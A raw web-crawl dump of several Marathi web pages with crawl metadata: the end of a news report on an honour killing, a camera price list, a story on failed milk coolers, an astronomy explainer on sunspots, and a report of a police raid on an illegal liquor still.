कऱ्हाळे या तरूणाशी प्रेमसंबंध होते. त्यामुळे पूजा गोविंद सोबत पळून गेली होती. याचा राग पूजाचा भाऊ दिगंबर दासरेच्या मनात होता. दिगंबरने दोघांचा पत्ता शोधून काढला. त्यांना काही तरी कारण सांगून भोकरला परत घेऊन येताना निवघा रोड परिसरात त्यांच्यावर धारदार शस्त्राने त्याने वार केले. गोविंद कऱ्हाळेचा जागीच मृत्यू झाला पण पूजा काही काळ जिवंत होती. पूजा जखमी अवस्थेतच शेतातून जवळच्या रोडवर आली. रस्त्यावर आल्यावर ती कोसळली. पूजा मदतीची याचना करत होती. पूजा उठून रस्त्याच्या कडेला येऊन बसली. पण यावेळी बघ्यांनी तिला मदत करण्याऐवजी तिचं शूटिंग करण्यात धन्यता मानली. पूजाचा व्हिडिओ आता व्हायरल झाला आहे. पूजा जवळपास तासभराहून अधिक वेळ जिवंत होती.\nपूजाला वेळीच मदत मिळाली असती तर कदाचीत तिला वाचवता आलं असतं अशी हळहळ आता होते आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00199.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.pricedekho.com/mr/cameras/cheap-2-inches-under+cameras-price-list.html", "date_download": "2018-09-25T17:23:33Z", "digest": "sha1:TTW4IBG4H25OIWSVCAWY345RJFTQODLW", "length": 20860, "nlines": 490, "source_domain": "www.pricedekho.com", "title": "स्वस्त India मध्ये 2 इंचेस & अंडर कॅमेरास | PriceDekho.com", "raw_content": "कूपन, दर cashback ऑफर\nलॅपटॉप, पीसी च्या, गेमिंग आणि अॅक्सेसरीज\nकॅमेरा, लेन्स आणि अॅक्सेसरीज\nटीव्ही आणि मनोरंजन साधने\nघर & स्वयंपाकघर उपकरणे\nगृह सजावट, स्वयंपाकघर आणि फर्निचर\nलहान मुले आणि बेबी उत्पादने\nखेळ, फिटनेस आणि आरोग्य\nपुस्तके, स्टेशनरी, भेटी आणि मीडिया\nभारतातील टॉप 10 मोबाईल\nमागचा कॅमेरा [13 MP]\nमोबाईल प्रकरणे आणि कव्हर\nबिंदू आणि अंकुर कॅमेरे\nकंडिशनर्स,वॉशिंग मशिन्स आणि ड्रायरसुद्धा\nव्हॅक्यूम & विंडोमध्ये क्लीनर\nज्युसर मिक्सर आणि धार लावणारा\nओ डी टॉयलेट (EDT)\nपायांकरीता असलेले कातड्याचे बाह्य आवरण पॅड\nमऊ तळव्यांचे आवाज न होणारे बूट\nचप्पल आणि फ्लिप फ्लॉप्स\nCheap 2 इंचेस & अंडर कॅमेरास Indiaकिंमत\nस्वस्त 2 इंचेस & अंडर कॅमेरास\nसर्वाधिक ते सर्वात कमी\nसर्वात कमी ते सर्वोच्च\nखरेदी स्वस्त कॅमेरास India मध्ये Rs.956 येथे सुरू म्हणून 25 Sep 2018. सर्वात कमी भाव सोपे आणि जलद ऑनलाइन तुलना अग्रणी ऑनलाइन स्टोअर्स पासून प्राप्त आहेत. उत्पादनांची विस्तृत माध्यमातून ब्राउझ करा: दर तुलना , वैशिष्ट्य आणि पुनरावलोकने चित्र पहा वाचा आणि आपल्या मित्रांसह सर्वात कमी भाव शेअर करा. निकॉन कूलपिक्स स्४३०० पॉईंट & शूट डिजिटल कॅमेरा रेड Rs. 7,000 किंमत सर्वात लोकप्रिय स्वस्त India मध्ये 2 इंचेस & अंडर कॅमेरा आहे.\nकिंमत श्रेणी 2 इंचेस & अंडर कॅमेरास < / strong>\n16 2 इंचेस & अंडर कॅमेरास रुपयांपेक्षा कमी उपलब्ध आहेत. 13,062. सर्वात कमी दरातील उत्पादन Rs.956 येथे आपल्याला ओझें मिनिमॅक्स ऑटोमॅटिक फिल्म कॅमेरा गोल्ड उपलब्ध India आहे. शॉपर्स स्मार्ट निर्णय आणि ऑनलाइन खरेदी दर तुलना स्वस्त उत्पादने दिलेल्या श्रेणी निवडू शकता. किंमती Mumbai, New Delhi, Bangalore, Chennai, Pune, Kolkata, Hyderabad, Jaipur, Chandigarh, Ahmedabad, NCR ऑनलाइन शॉपिंग इत्यादी सर्व प्रमुख शहरांमध्ये वैध आहेत.\n2 इंचेस & अंडर\nदर्शवत आहे 21 उत्पादने\n2 इंचेस & अंडर\nलोकप्रिय 2 इंचेस & अंडर कॅमेरास\nमहाग2 इंचेस & अंडर कॅमेरास\nस्वस्त2 इंचेस & अंडर कॅमेरास\nशीर्ष 102 इंचेस & अंडर कॅमेरास\nताज्या2 इंचेस & अंडर कॅमेरास\nआगामी2 इंचेस & अंडर कॅमेरास\nओझें मिनिमॅक्स ऑटोमॅटिक फिल्म कॅमेरा गोल्ड\n- ऑप्टिकल झूम No\nडिस्नी प्रिन्सेस डिजिटल कॅमेरा पिंक\n- स्क्रीन सिझे 1.4 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 2 Megapixels\n- ऑप्टिकल झूम Up to 2.9x\nफुजिफिल्म इन्स्टेक्स इन्स्टेक्स मिनी 8 इन्स्टंट कॅमेरा ब्लू\n- स्क्रीन सिझे 1.46 Inch\n- ऑप्टिकल सेन्सर रेसोलुशन 0.6 MP\nबिक्सतुफ बसवंतीनचं२ बॅसि२ स्पोर्ट्स & ऍक्टिव कॅमेरा व्हाईट\n- बिल्ट इन फ्लॅश No\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\nबिक्सतुफ बसवंतीनचं१ बॅचब१ स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- बिल्ट इन फ्लॅश No\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\nफुजिफिल्म इन्स्टेक्स इन्स्टेक्स मिनी 8 इन्स्टंट कॅमेरा व्हाईट\n- ऑप्टिकल सेन्सर रेसोलुशन 0.6 MP\nसॅमसंग प्ल१०० डिजिटल कॅमेरा Black\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.5 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 12.2 MP\nनिकॉन कूलपिक्स स्४३०० पॉईंट & शूट डिजिटल कॅमेरा रेड\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल झूम 6x\nस्जचं म१० १२म्प ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\n- ऑप्टिकल झूम 4x\nस्जचं स्ज ४०००विफी स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 16 MP\n- ऑप्टिकल झूम 0x\nस्ज 4000 स्पोर्ट्स कॅमेरा ब्लॅक\n- बिल्ट इन फ्लॅश No\n- ऑप्टिकल सेन्सर रेसोलुशन 8MP\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा पिंक\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा ग्रीन\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा औरंगे\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा सिल्वर\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nस्जचं स्ज 5000 स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 14 MP\n- ऑप्टिकल झूम 1x\nब्रिनो बबकॅ१०० बीके कॅमेरा सेट ग्रीन & ब्लॅक\nस्जचं स्ज 5000 प्लस स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 16 MP\n- ऑप्टिकल झूम 1x\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 20 MP\nगोप्रो हिरो ऍक्टिव ग्रे\n- स्क्रीन सिझे 1.75 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 8 Megapixels\n- ऑप्टिकल झूम 1000 X\nपॅनासॉनिक लुमिक्स दमच फझ१००० ब्लॅक\n- स्क्रीन सिझे 1.5 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 20.1 MP\n- ऑप्टिकल झूम 12x\n- सेन्सर तुपे CCD Sensor\n* 80% संधी किंमत पुढील 3 आठवडे 10% पडू शकतो की नाही\nमिळवा झटपट किमतीत घट ईमेल / एसएमएस\nQuick links आमच्या विषयी आमच्याशी संपर्क साधा T&C गोपनीयता धोरण FAQ's\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00199.warc.wet.gz", "language": "mr", "language_score": 0.72, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-bulk-cooler-failed-milk-collection-center-parbhani-maharashtra-6538", "date_download": "2018-09-25T17:52:19Z", "digest": "sha1:IRJD2NVY3CEHZQ3PUL7ZPZMW7H3VWZDF", "length": 17853, "nlines": 152, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, bulk cooler failed in milk collection center, parbhani, maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nपाथरीतील शासकीय दूध संकलन केंद्रातील दोन बल्क कूलरमध्ये बिघाड\nपाथरीतील शासकीय दूध संकलन केंद्रातील दोन बल्क कूलरमध्ये बिघाड\nगुरुवार, 15 मार्च 2018\nपाथरी, जि. परभणी : पाथरी येथील शासकीय दूध संकलन केंद्रातील दोन बल्क कूलर बंद पडल्याने बुधवारी (ता. १४) सकाळी दूध संकलन केंद्र सुरूच झाले नाही.\nपाथरी, जि. परभणी : पाथरी येथील शासकीय दूध संकलन केंद्रातील दोन बल्क कूलर बंद पडल्याने बुधवारी (ता. १४) सकाळी दूध संकलन केंद्र सुरूच झाले नाही.\nअचानक दूध संकलन केंद्राला कुलूप लावलेले दिसल्यामुळे दूध उत्पादक शेतकरी संतप्त झाले. दुधाची नासाडी होण्याच्या भीतीमुळे शेतकरी आक्रमक झाले. त्यामुळे पोलिस घटनास्थळी दाखल झाले. अखेर परभणी येथील शासकीय दुग्धशाळेत दूध पाठवण्याचा निर्णय घेण्यात आल्यामुळे सकाळी संकलित झालेल्या ९ हजार लिटर दुधाचा तात्पुरता मार्गी लागला. दूध साठविण्यासाठी पुरेशी व्यवस्था नसल्यामुळे दररोजच्या दूध संकलनाचा प्रश्न कायम आहे. त्यामुळे दूध उत्पादक शेतकरी आंदोलनाच्या पावित्र्यात आहेत.\nपरभणी येथील शासकीय दूध योजनेअंतर्गत गेल्या १२ वर्षांपासून पाथरी येथे दूध संकलन केले जाते. गेल्या काही वर्षांत या भागातील शेतकरी दुग्ध व्यवसायाकडे वळल्यामुळे दूध संकलन मोठ्या प्रमाणावर वाढले आहे. विशेषतः गतवर्षीच्या तुलनेत अडीच ते तीन हजार लिटरने दुधाची वाढ झाली आहे. सध्या तालुक्यातील दूध उत्पादक संस्थाकडून दररोज सरासरी १४ हजार लिटर दूध संकलन होते. तापमानात वाढ झाल्यामुळे गेल्या पंधरा दिवसांपासून सकाळी ९ हजार लिटर आणि संध्याकाळी ५ हजार लिटर दूध संकलन केले जात आहे.\nपाथरी येथील केंद्रात चार हजार लिटर दूध संकलन करण्याची क्षमता आहे. या ठिकाणी दूध थंड करण्यासाठी तीन बल्क कूलर आहेत. त्यापैकी एक बल्क कूलर गेल्या अनेक महिन्यांपासून बंद आहे. त्यामुळे दोन बल्क कूलरवर काम सुरू आहे. त्यात गेल्या चार दिवसांपूर्वी आणखी एक बल्क कूलर बंद पडल्याने दूध संकलनाचा प्रश्न निर्माण झाला.\nदूध संकलन वाढल्यामुळे जिल्हा कार्यालयाने मंगळवारी (ता. १३) एक पत्र काढून दूध उत्पादक संस्थांकडून दूध संकलन केले जाणार नाही. संकलित केलेले दूध संस्थांनी परभणी येथे आणून घालावे, असे कळवले आहे. मात्र काही संस्थांना तसे पत्रच मिळाले नाही, त्यामुळे बुधवारी (ता. १४) नेहमीप्रमाणे सकाळी दूध घेऊन आलेली वाहने पाथरी बाजार समितीच्या परिसरातील संकलन केंद्रात आणली. मात्र केंद्राला कुलूप लावलेले दिसल्यामुळे दूध खराब होईल या भीतीने शेतकरी आक्रमक झाले.\nरस्त्यावर दूध फेकून देण्याच्या तयारीत असताना घटनास्थळी पोलिस दाखल झाले. त्यांनी शासकीय अधिकारी, दूध उत्पादक संस्थेचे पप्पू घाडगे, विठ्ठल गिराम, अविनाश आम्ले शिवाजीराव नखाते, विजय कोल्हे, शेख खय्यूम यांच्याशी चर्चा घडवून आणली. या वेळी सर्व दूध परभणी येथील दुग्धशाळेत नेण्याचा निर्णय झाला. परंतु पुरेशा व्यवस्थेभावी दररोजचे दूध संकलन करण्याचा प्रश्न कायम आहे.\nदरम्यान, पाथरी येथील शीतकरण केंद्रातील दूध साठवण क्षमता वाढविण्यासाठी आवश्यक ती यंत्रणा कार्यान्वित करण्यासाठी मंजुरी मिळाली आहे. सध्या वाढीव दूध परभणी येथे स्वीकारणार आहोत. वाढत्या तापमानामुळे नासाडी होऊ नये यासाठी संस्थांना बर्फपुरवठा केला जात आहे, असे शासकीय दुग्धशाळेचे व्यवस्थापक एस. सी. पाखले यांनी सांगितले.\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00200.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://avakashvedh.com/prashnottare/13_suryavaril_daag.html", "date_download": "2018-09-25T16:58:38Z", "digest": "sha1:U2GNFTKMAOG2DAHL2GAB6AQSKGEBDPDJ", "length": 9957, "nlines": 126, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nसूर्यावरील काळे डाग त्याच्या पृष्ठभागावर तयार होतात. ह्या काळ्या डागांच्या जागेवरील तापमान बाजूच्या तापमानाच्या मानाने कमी असल्याने इथे काळे डाग दिसतात.\nसूर्याच्या पृष्ठभागाचे तापमान सरासरी (५८०० केल्विन) ६००० अंश सेल्सिअस एवढे. त्या मानाने काळ्या डागांच्या जागेचे तापमान जवळपास ४००० अंश सेल्सिअस इतके असते, तुलनेत बाजूच्या जागेच्या तापमानापेक्षा ह्या जागेतील तापमान कमी असल्याने परिणामी तेथे काळे डाग दिसून येतात.\nसूर्यावरील इतर भागावरील प्रकाशाच्या मानाने त्या भागातील प्रकाश कमी जरी असला तरी एका छोट्या काळ्या डागाएवढा गोल जर रात्रीच्या आकाशात ठेवला तरी त्या प्रकाशामध्ये तो पूर्ण चंद्रबिंबापेक्षा तेजस्वी दिसेल.\nह्या काळ्या डागाच्या मध्यभागी गडद काळा रंग असतो ज्यास अंब्रा (umbra) असे म्हणतात तर काळ्या डागांच्या बाजूचा भाग फिकट काळसर असतो ज्यास पेनुंब्रा (penumbra) असे म्हणतात. सूर्यावरील चुंबकिय क्षेत्रामुळे काही वेळेस त्याच्या पृष्ठभागावरील ऊर्जा बाहेर पडू शकत नाही व परिणामी असे काळे डाग निर्माण होतात. सूर्यावरील पृष्ठभागावरून फेकल्या जाणार्‍या ऊर्जेस 'सौरवात' असे म्हणतात. हे सौरवात अवकाशात इतरत्र फेकले जाऊन त्यापासून 'सौरवारे' निर्माण होतात.\nहे काळे डाग नेहमी बदलत असतात, तर काही वेळेस जुने डाग नष्ट होऊन नवीन डाग निर्माण होतात. साधारण ११ वर्षाच्या काळामध्ये ह्या काळ्या डागांचे एक चक्र पूर्ण होते. ह्या काळामध्ये काळ्या डागांची संख्या कमी होऊन पुन्हा जास्त होते.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00201.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/raid-on-illegal-liquor-adda-at-vasai/", "date_download": "2018-09-25T17:33:19Z", "digest": "sha1:AGOIL5MHDP5D7JEZNNFL4H4PCNFQUMDK", "length": 17116, "nlines": 257, "source_domain": "www.saamana.com", "title": "वसईत गावठी दारूच्या हातभट्टीवर छापा, साडेचार लाखांचा मुद्देमाल केला नष्ट | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nवसईत गावठी दारूच्या हातभट्टीवर छापा, साडेचार लाखांचा मुद्देमाल केला नष्ट\nपालघर पोलिसांनी अनधिकृत व्यावसाय आणि दारूच्या अड्यांवर धडक कारवाई रुरु केली आहे. वसई पूर्वेला मुंबई – अहमदाबाद महामार्गालगत असणाऱ्या माळजीपाडा येथील गावठी दारूच्या हातभट्टीवर छापा टाकला आहे. पोलिसाच्या छाप्यात 4 लाख 83 हजार 500 रुपये किमतीची दारू आणि दारू बनविण्यासाठी लागलारे सामान नष्ट केले आहे. वालीव पोलिसांनी ही कारवाई केली आहे. मात्र हातभट्टी चालवणारा आरोपी नरेश पाटील पोलिसांच्या हातून निसटला आहे.\nमालजीपाडा परिसरात खाडी किनाऱ्यालगत दलदल आणि झाडाझुडपामध्ये याच ठिकाणी राहणारा नरेश पाटील हा मोठ्या प्रमाणात हातभट्टी चालवत होता. या कारवाईत पोलिसांनी दारूने भरलेल्या 40 रबरी ट्यूब, 200 लिटर क्षमतेचे प्लास्टिक चे 65 पंप, 6 लाकडी चाटु,अल्युमिनियम धातूचे 2 मोठे सतेले, 200 लिटर क्षमतेचे 185 ड्रम, प्रत्येक ड्रम मध्ये अंदाजे 200 लिटर नवसागर मिश्रित तयार गुळ वॉश गावठी हातभट्टी तयार करण्याचा, 32 लिटर गावठी दारूचे कॅन, प्लास्टिक चे पाणी ओढण्याचे पाईप, गावठी दारू बनविण्यासाठी लागणारी लाकूड असा एकुण 4 लाख 83 हजार 500 रुपये किमतीचा मुद्देमाल वालीव पोलिसांनी जप्त करून नष्ट केले आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलचोरी झालेल्या 800 वर्षे जुन्या मूर्ती अमेरिकेकडून हिंदुस्थानला सुपुर्द\nपुढीलबुलढाण्याच्या ‘या’ हॉटेलमध्ये रोज होते छत्रपती शिवरायांची आरती\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा दाखल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा 